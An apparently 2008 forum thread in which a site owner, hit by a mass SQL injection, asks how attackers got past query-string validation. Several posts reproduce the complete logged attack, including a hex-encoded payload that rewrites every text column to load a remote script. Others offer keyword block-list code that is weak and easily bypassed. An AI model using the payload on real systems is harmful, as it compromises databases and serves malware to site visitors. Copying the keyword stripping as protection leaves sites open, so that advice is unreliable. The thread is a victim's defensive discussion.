locked
Affected by latest SQL injeections RRS feed

  • Question

  • User1383457719 posted

    Our server got hit back in May and we rewrote our entire site to use parameterized queries, validating input, among other things.  After looking at our log files (IIS 6.0), we continued to get attacked but our newly coded site was fighting these off with no harm being done.  Well on June 20, another series of attacks has somehow exploited our DB and has caused harm once again.  In looking at the code in the log files, the only difference is the name/value pairs were being separated by & instead of "&".  For example, "ID=150&year=2006;DECLARE..."  For some reason, this let the attacker in.  I am at a loss as to why this revised method would suddenly get the attacker past all of the security measures we put in place (which obviously weren't good enough).  Any ideas?

    BTW, these attacks are sent via a querystring, not via forms.

    Here's what one of the sample attacks looks like:

    /webpage.asp
    ID=150&year=2006;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''MALICIOUS JAVASCRIPT HERE - REMOVED SO I COULD POST THIS CODE WITHOUT AFFECTING ANYONE''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor AS VARCHAR(4000));EXEC(@S);

    Saturday, June 21, 2008 10:16 PM

Answers

  • User-423335253 posted
    you can try to limit accepted length of each variable. i.e year can not be longer than 4 chars. you can trop keywords like declare,set, you can also have a function where only alpha numeric chars accepted and rest filtered
    • Marked as answer by Anonymous Tuesday, September 28, 2021 12:00 AM
    Sunday, June 22, 2008 7:12 AM
  • User-1481068292 posted

    We HAD the problem as well, and have been using parameterized queries. We took several steps and seem to have stopped the problem.

    1.) Adjust your DB security to the absolute minimum required to get the job done. Separate your website logins for everything else AND separate the logins between Select only and Insert/Update/Delete.

    2.) Validate every piece of data including simple integers (make sure they are numbers).

    3.) Use stored procs where you can or even updatable views with instead-of triggers.

    4.) Look for Injection, we use the following to prep every character entry, AND we ALWAYS hard type numerics.

    Here is the code we use to help trap injection you can adjust as you need

    'Checks for possible injection during validation
    Function IsSQLInjection(strValue)
        dim retVal
        dim arrKeywords
        dim Keyword

        arrKeywords = Array("--",";","/*","*/","sysobjects","syscolumns","<script","xp_","sp_"," insert "," update "," delete "," cast"," nvchar")

        retVal = false
        For Each Keyword in arrKeywords
            If instr(strValue,Keyword) <> 0 Then
                retVal = true
                Exit for
            End if   
        Next

        IsSQLInjection = retVal

    End Function


    'SQLEscape (preps all char input)
    Private Function SQLEscape(strValue)
        Dim retVal

        retVal = strValue

        'Response.Write "SQLEscape| strValue: " & strValue & "<br>" 'debug
     
     If not IsNull(retVal) Then
      if len(retVal) = 0 then
       retVal =  "NULL"
      else  
       retVal =  "'" & Replace(strValue, "'", "''") & "'"
             retVal =  StopInjection(retVal)
      end if   
     End if 

        'Response.Write "SQLEscape| retVal: " & retVal & "<br>" 'debug

        SQLEscape = retVal

    End function 


    Function StopInjection(strValue)
        dim retVal
        dim arrKeywords
        dim Keyword

        arrKeywords = Array("--",";","/*","*/","sysobjects","syscolumns","<script","xp_","sp_"," insert "," update "," delete "," cast"," nvchar")

        retVal = strValue
        For Each Keyword in arrKeywords
            retVal = replace(retVal,Keyword,"")
        Next

        StopInjection = retVal
    End Function

    Hope this helps. It has helped us. We also added a honey-pot table in the database; big wide varchar column with update open to any security level to make sure that it is not just the tightening of the database security that has stopped the attacks. So far knock on wood. The next step will be a Web Secuirity Appliance or plug-in like dotDefender from Applicure (they also have a free monitor so you can see the attacks).

    • Marked as answer by Anonymous Tuesday, September 28, 2021 12:00 AM
    Sunday, June 22, 2008 3:10 PM
  • User1073881637 posted
    When you manually run the statement on the sql server connected to that user, does it execute or are you denied?  I'd look at some tools to block sql injection attacks along with updating the code, if possible.

    http://www.port80software.com/products/serverdefender/

    http://www.aqtronix.com/?PageID=99

    I've not used either product personally, but they claim to help block sql injections.  I'd test them on a non-prod machine before deploying to a production environment.

     Hope this helps.

     

    • Marked as answer by Anonymous Tuesday, September 28, 2021 12:00 AM
    Monday, June 23, 2008 12:14 AM
  • User-2064283741 posted

    Also try this ISAPI filter. Written by an MS employee it is Open source so free and claims to stop SQL injections.

    http://www.codeplex.com/IIS6SQLInjection

    (wtf why cannot I add links anymore? *sigh*)

    Like Steve I have not tried this yet but look promising.

    Remember folks these tools are no excuse not having proper security on your pages and that means the devs have to do there job properly. Sadly there is not that much that an IIS admin can do to help.

    • Marked as answer by Anonymous Tuesday, September 28, 2021 12:00 AM
    Monday, June 23, 2008 6:04 AM
  • User1383457719 posted

    @Steve: I tried the IIS 6 SQL Injection Sanitation ISAPI Wildcard on CodePlex (www.codeplex.com/IIS6SQLInjection/Release/ProjectReleases.aspx?ReleaseId=8764)

    • Marked as answer by Anonymous Tuesday, September 28, 2021 12:00 AM
    Monday, June 23, 2008 9:04 AM
  • User-2064283741 posted

    I actually installed and configured that ISAPI filter and it did no good.  Not sure if it's just for form GET/POST data (which is not how our injections are being entered).   BTW, the injection is actually being entered as a HEX value:

    GET /webpage.asp ID=575&amp;year=2006;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E70696E676164772E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);-- 80 - 122.161.57.6 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) - 200

     

    That loooks fairly standard fair for an SQL injection with the latest round of attacks

    I thought that ISAPI filter could weed this out. Like I said I have not used it yet. Maybe post on their forums with the request that got through and maybe they can inform you that how nad why? (edit: i see you have asked a question onn there already :) )

    I had hoped you could just reject any URIs with "0x" in them, etc? thus completely stopping the any hex attacks (well by this method anyway). Obviously you would have to screen the valid pages with this character string in them but that is not standard practice anyway and should help 99% of sites.

    What a shame they restricted the URLscan tool so it omitted query strings. It could have been used to great effect for things like this.

    • Marked as answer by Anonymous Tuesday, September 28, 2021 12:00 AM
    Monday, June 23, 2008 9:14 AM
  • User-2064283741 posted

    What a shame they restricted the URLscan tool so it omitted query strings. It could have been used to great effect for things like this.

    No sooner do I say that they release urlscan version 3 beta that does look at query strings.

    A properly configured version of this must stop these attacks if used in the right way. 

    http://blogs.iis.net/wadeh/archive/2008/06/24/urlscan-v3-0-beta-release.aspx

    http://blogs.iis.net/nazim/archive/2008/06/24/using-the-new-rules-configuration-in-urlscan-v3-0-beta-part-1.aspx

    I have added a few comments in those articles too that hopefully will be useful.

    • Marked as answer by Anonymous Tuesday, September 28, 2021 12:00 AM
    Wednesday, June 25, 2008 6:15 AM

All replies

  • User-423335253 posted
    you can try to limit accepted length of each variable. i.e year can not be longer than 4 chars. you can trop keywords like declare,set, you can also have a function where only alpha numeric chars accepted and rest filtered
    • Marked as answer by Anonymous Tuesday, September 28, 2021 12:00 AM
    Sunday, June 22, 2008 7:12 AM
  • User1383457719 posted

    I'm already limiting the year to 4 characters and converting all input to integers but it's still getting through (it wasn't until they started using &amp; instead of &).  Why is the ampersand approach making this work?

    FYI, here's how I'm limiting the year to 4 characters:

    year = request("year")

    if len(year) > 4 then
     response.Redirect("/pagenotfound.asp")
    end if

    Sunday, June 22, 2008 9:18 AM
  • User1383457719 posted

    I've just revised the way I validate the data in the querystring to the following - and it's still getting through:

    Dim ID, year

    ID = Clng(Request.QueryString("ID"))
    year = Clng(Request.QueryString("year"))

    if len(year) > 4 then
     response.Redirect("/pagenotfound.asp")
    end if

     

    Sunday, June 22, 2008 11:59 AM
  • User-1481068292 posted

    We HAD the problem as well, and have been using parameterized queries. We took several steps and seem to have stopped the problem.

    1.) Adjust your DB security to the absolute minimum required to get the job done. Separate your website logins for everything else AND separate the logins between Select only and Insert/Update/Delete.

    2.) Validate every piece of data including simple integers (make sure they are numbers).

    3.) Use stored procs where you can or even updatable views with instead-of triggers.

    4.) Look for Injection, we use the following to prep every character entry, AND we ALWAYS hard type numerics.

    Here is the code we use to help trap injection you can adjust as you need

    'Checks for possible injection during validation
    Function IsSQLInjection(strValue)
        dim retVal
        dim arrKeywords
        dim Keyword

        arrKeywords = Array("--",";","/*","*/","sysobjects","syscolumns","<script","xp_","sp_"," insert "," update "," delete "," cast"," nvchar")

        retVal = false
        For Each Keyword in arrKeywords
            If instr(strValue,Keyword) <> 0 Then
                retVal = true
                Exit for
            End if   
        Next

        IsSQLInjection = retVal

    End Function


    'SQLEscape (preps all char input)
    Private Function SQLEscape(strValue)
        Dim retVal

        retVal = strValue

        'Response.Write "SQLEscape| strValue: " & strValue & "<br>" 'debug
     
     If not IsNull(retVal) Then
      if len(retVal) = 0 then
       retVal =  "NULL"
      else  
       retVal =  "'" & Replace(strValue, "'", "''") & "'"
             retVal =  StopInjection(retVal)
      end if   
     End if 

        'Response.Write "SQLEscape| retVal: " & retVal & "<br>" 'debug

        SQLEscape = retVal

    End function 


    Function StopInjection(strValue)
        dim retVal
        dim arrKeywords
        dim Keyword

        arrKeywords = Array("--",";","/*","*/","sysobjects","syscolumns","<script","xp_","sp_"," insert "," update "," delete "," cast"," nvchar")

        retVal = strValue
        For Each Keyword in arrKeywords
            retVal = replace(retVal,Keyword,"")
        Next

        StopInjection = retVal
    End Function

    Hope this helps. It has helped us. We also added a honey-pot table in the database; big wide varchar column with update open to any security level to make sure that it is not just the tightening of the database security that has stopped the attacks. So far knock on wood. The next step will be a Web Secuirity Appliance or plug-in like dotDefender from Applicure (they also have a free monitor so you can see the attacks).

    • Marked as answer by Anonymous Tuesday, September 28, 2021 12:00 AM
    Sunday, June 22, 2008 3:10 PM
  • User1383457719 posted

    Thanks for the reply.  A couple of things:

    1) We have incorporated the following code at the top of every page as a short term solution which is working (I'm going to test the functions you provided as they are more robust - although this is really only valid for form validation, correct?  Our attacks are malicious querystrings appended to the URL.):

    <%
    str = request.servervariables("QUERY_STRING")
    if instr(str, ";") then response.redirect("/404msg.asp")
    str = Request.Form
    if instr(str, ";") then response.redirect("/404msg.asp")

    str = request.servervariables("QUERY_STRING")
    if instr(str, "--") then response.redirect("/404msg.asp")
    str = Request.Form
    if instr(str, "--") then response.redirect("/404msg.asp")

    str = request.servervariables("QUERY_STRING")
    if instr(str, "'") then response.redirect("/404msg.asp")
    str = Request.Form
    if instr(str, "'") then response.redirect("/404msg.asp")
    %>

    2)  We use a dedicated user login (to connect with SQL Server 2005) in the connection string that has extremely restricted rights on the DB (db_datareader and db_denydatawriter rights; furthermore, I've denied SELECT access to all of the system tables (sysobjects) for this user). Yet, we still fell victim to the attack where the malicious querystring included "SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE...". How could this happen using the restricted DB connection for the page?

    3) Aside from #1 above, there is nothing that we have found to prevent these attacks since the attacker is using "&amp:" instead of "&"

    Sunday, June 22, 2008 8:02 PM
  • User1073881637 posted
    When you manually run the statement on the sql server connected to that user, does it execute or are you denied?  I'd look at some tools to block sql injection attacks along with updating the code, if possible.

    http://www.port80software.com/products/serverdefender/

    http://www.aqtronix.com/?PageID=99

    I've not used either product personally, but they claim to help block sql injections.  I'd test them on a non-prod machine before deploying to a production environment.

     Hope this helps.

     

    • Marked as answer by Anonymous Tuesday, September 28, 2021 12:00 AM
    Monday, June 23, 2008 12:14 AM
  • User-2064283741 posted

    Also try this ISAPI filter. Written by an MS employee it is Open source so free and claims to stop SQL injections.

    http://www.codeplex.com/IIS6SQLInjection

    (wtf why cannot I add links anymore? *sigh*)

    Like Steve I have not tried this yet but look promising.

    Remember folks these tools are no excuse not having proper security on your pages and that means the devs have to do there job properly. Sadly there is not that much that an IIS admin can do to help.

    • Marked as answer by Anonymous Tuesday, September 28, 2021 12:00 AM
    Monday, June 23, 2008 6:04 AM
  • User1383457719 posted

    I actually installed and configured that ISAPI filter and it did no good.  Not sure if it's just for form GET/POST data (which is not how our injections are being entered).   BTW, the injection is actually being entered as a HEX value:

    GET /webpage.asp ID=575&amp;year=2006;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E70696E676164772E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);-- 80 - 122.161.57.6 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) - 200

    Monday, June 23, 2008 8:44 AM
  • User1073881637 posted

    Which isapi filter did you try?

    Monday, June 23, 2008 8:56 AM
  • User1383457719 posted

    @Steve: When I manually run a simple SELECT statement like "SELECT * from sysobjects" directly within SQL Server, it denies the request when I'm logged on as that user. 

    Monday, June 23, 2008 9:02 AM
  • User1383457719 posted

    @Steve: I tried the IIS 6 SQL Injection Sanitation ISAPI Wildcard on CodePlex (www.codeplex.com/IIS6SQLInjection/Release/ProjectReleases.aspx?ReleaseId=8764)

    • Marked as answer by Anonymous Tuesday, September 28, 2021 12:00 AM
    Monday, June 23, 2008 9:04 AM
  • User-2064283741 posted

    I actually installed and configured that ISAPI filter and it did no good.  Not sure if it's just for form GET/POST data (which is not how our injections are being entered).   BTW, the injection is actually being entered as a HEX value:

    GET /webpage.asp ID=575&amp;year=2006;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E70696E676164772E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);-- 80 - 122.161.57.6 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) - 200

     

    That loooks fairly standard fair for an SQL injection with the latest round of attacks

    I thought that ISAPI filter could weed this out. Like I said I have not used it yet. Maybe post on their forums with the request that got through and maybe they can inform you that how nad why? (edit: i see you have asked a question onn there already :) )

    I had hoped you could just reject any URIs with "0x" in them, etc? thus completely stopping the any hex attacks (well by this method anyway). Obviously you would have to screen the valid pages with this character string in them but that is not standard practice anyway and should help 99% of sites.

    What a shame they restricted the URLscan tool so it omitted query strings. It could have been used to great effect for things like this.

    • Marked as answer by Anonymous Tuesday, September 28, 2021 12:00 AM
    Monday, June 23, 2008 9:14 AM
  • User1383457719 posted

    Again, for this round of attacks, it was the attacker changing the ampersand from "&" to "&amp;" which separate the two valid parameters.  Since this wasn't escaped like a traditional "&", it made the 2nd parameter ("year") invalid.  Now I'm just trying to understand how I could catch this when I validate the parameters before they enter the queries/storied procedures. 

    What exactly is going on when the database reads "/webpage.asp ID=575&amp;year=2006" followed by all of the malicious code? 

    How can I prevent the malicious code from moving into the DB querey?  I'm converting both variables to integers and only using 1 (ID) to call the record in the DB (using a parameterized query).

    Here is a portion of that query (actual names changed of course):

    rs_cmd.CommandText = "SELECT ID, title, bodycontent FROM dbo.table WHERE ID = ?"
    rs_cmd.Prepared = true
    rs_cmd.Parameters.Append rs_cmd.CreateParameter("param1", 5, 1, -1, request.querystring("ID")) ' adDouble

     

    Monday, June 23, 2008 2:56 PM
  • User-2064283741 posted

    What a shame they restricted the URLscan tool so it omitted query strings. It could have been used to great effect for things like this.

    No sooner do I say that they release urlscan version 3 beta that does look at query strings.

    A properly configured version of this must stop these attacks if used in the right way. 

    http://blogs.iis.net/wadeh/archive/2008/06/24/urlscan-v3-0-beta-release.aspx

    http://blogs.iis.net/nazim/archive/2008/06/24/using-the-new-rules-configuration-in-urlscan-v3-0-beta-part-1.aspx

    I have added a few comments in those articles too that hopefully will be useful.

    • Marked as answer by Anonymous Tuesday, September 28, 2021 12:00 AM
    Wednesday, June 25, 2008 6:15 AM
  • User-1378202413 posted

    We have been getting attacked by this hacker for over a week now at all of my web sites.  Fortunately, I have a SQL injection check much like this one.  I have gotten some satisfaction from the fact that if he is watching, I have Rick Rolled him:)

    Is anyone else getting slammed by this guy right now?  He is spoofing his IP all over the world.  I am just looking for patterns.  I have already sent all of my log data to our FBI contact.

    Does anyone know what this guy is after (other than the obvious SQL injection)?  He might be after certain web site visitors, ie. DOD users.

    Thursday, July 3, 2008 2:55 PM
  • User-64916969 posted

    I actually installed and configured that ISAPI filter and it did no good.  Not sure if it's just for form GET/POST data (which is not how our injections are being entered).   BTW, the injection is actually being entered as a HEX value:

    GET /webpage.asp ID=575&amp;year=2006;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E70696E676164772E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);-- 80 - 122.161.57.6 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) - 200

     

    That loooks fairly standard fair for an SQL injection with the latest round of attacks

    I thought that ISAPI filter could weed this out. Like I said I have not used it yet. Maybe post on their forums with the request that got through and maybe they can inform you that how nad why? (edit: i see you have asked a question onn there already :) )

    I had hoped you could just reject any URIs with "0x" in them, etc? thus completely stopping the any hex attacks (well by this method anyway). Obviously you would have to screen the valid pages with this character string in them but that is not standard practice anyway and should help 99% of sites.

    What a shame they restricted the URLscan tool so it omitted query strings. It could have been used to great effect for things like this.

    DStevens, 

    I thought I had made this clear. 

    When I got this question on the Discussion tab at Codeplex I tested the scenario and the filter DOES eliminates this quite trivial SQL Injection. The result is not beautiful:

    500&,year=2002,DECLARE%20@S%20VARCHAR(4000),SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E70696E676164772E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000)),EXEC(@S),--

    But it harmless to the SQL Database. This is the thread: Thread

     

    Rodney Viana

    Sunday, July 20, 2008 5:55 AM
  • User1383457719 posted

    You did make this clear on the CodePlex forum - I'm not questioning what you said.

    But while we're on the subject, perhaps I was mislead in believing that it wasn't working.  When I had conducted a test SQL injection with the ISAPI filter, the page loaded fine and the IIS log file provided a successful code (200).  That led me to believe that the filter did not work.  So is it safe to say that it did indeed work and while it appears that the injection was a success, there was nothing harmful written to the DB?  What is the best way to test the success of this - on a temp/test DB?

    Sunday, July 20, 2008 12:08 PM
  • User-64916969 posted

    Hi DStevens,

    There is a sample ASP application that ships with the installation. The video shows how to install it. You can test combinations by putting the SQL Injection candidate string in one of the two available fields. The result page (show.asp) shows the transformed result. You can also change show.asp to show the full query string, but for your test you do not need this, just put the string in one of the fields. Please let me know if you need further assistance. I am very responsive. And thanks for using my filter.

    Rodney Viana

    Sunday, July 20, 2008 1:10 PM
  • User1383457719 posted

    Yes, I saw that application and used that to test to ensure that I installed it properly.  But the SQL injection that we were hit with wasn't from input fields but rather malicious code appended to the URL in the address bar.  What should I expect if I test the malicious code that way?

    Sunday, July 20, 2008 3:25 PM
  • User-64916969 posted

    Yes, I saw that application and used that to test to ensure that I installed it properly.  But the SQL injection that we were hit with wasn't from input fields but rather malicious code appended to the URL in the address bar.  What should I expect if I test the malicious code that way?

    Hi Dstevens,

     

    If you change the action from POST to GET the input fields are appended to the url in the address bar (this is the HTTP/HTML specification):

    http://webbeginner.codepoint.net/post_versus_get

    The ISAPI SQL Injection Filter filters both GET and POST. Please view this thread to see more details:

    http://www.codeplex.com/IIS6SQLInjection/Thread/View.aspx?ThreadId=28102

    Please let me know if you have any further question on this issue.

     

    Thanks,

     

    Rodney Viana

     

    Monday, July 21, 2008 10:28 AM
  • User1383457719 posted

    Again, just to clarify, this attack was not done via a form or any input fields.  The malicious code was simply appended to a page URL.  There is no ACTION since there is no form.

    Wednesday, July 23, 2008 11:36 AM
  • User-64916969 posted

    Again, just to clarify, this attack was not done via a form or any input fields.  The malicious code was simply appended to a page URL.  There is no ACTION since there is no form.

    To answer your question straight: the filter will block SQL injection attacks appended to a page url.

    Also as I told you before, this is the equivalent to send a GET request. Either way the attack will be appended to the page url and the filter will block. Example:

    http://server/file.asp?ID=500;delete%20table%20xxx

    Will be blocked either if it is entered directly into the url verbatim or issued through a form tag in a HTML page with the GET method. Since the IIS log is recorded before executing the filter, you will see an unchanged url in IIS log but the attack will not reach the intended ASP or ASP.NET code.

     

    Wednesday, July 23, 2008 3:03 PM
  • User1383457719 posted

    OK, I think we're almost there.  I know this is a GET request (even though a form isn't involved but it's good to know that the IIS log will not show it as an unsuccessful attemp.  And while the attack will not reach the intended code, will the page still load successfully (because it did on our end).

    Wednesday, July 23, 2008 4:58 PM
  • User-64916969 posted

    It is supposed to load. The only thing is that the injection will be filtered.

    Wednesday, July 23, 2008 7:46 PM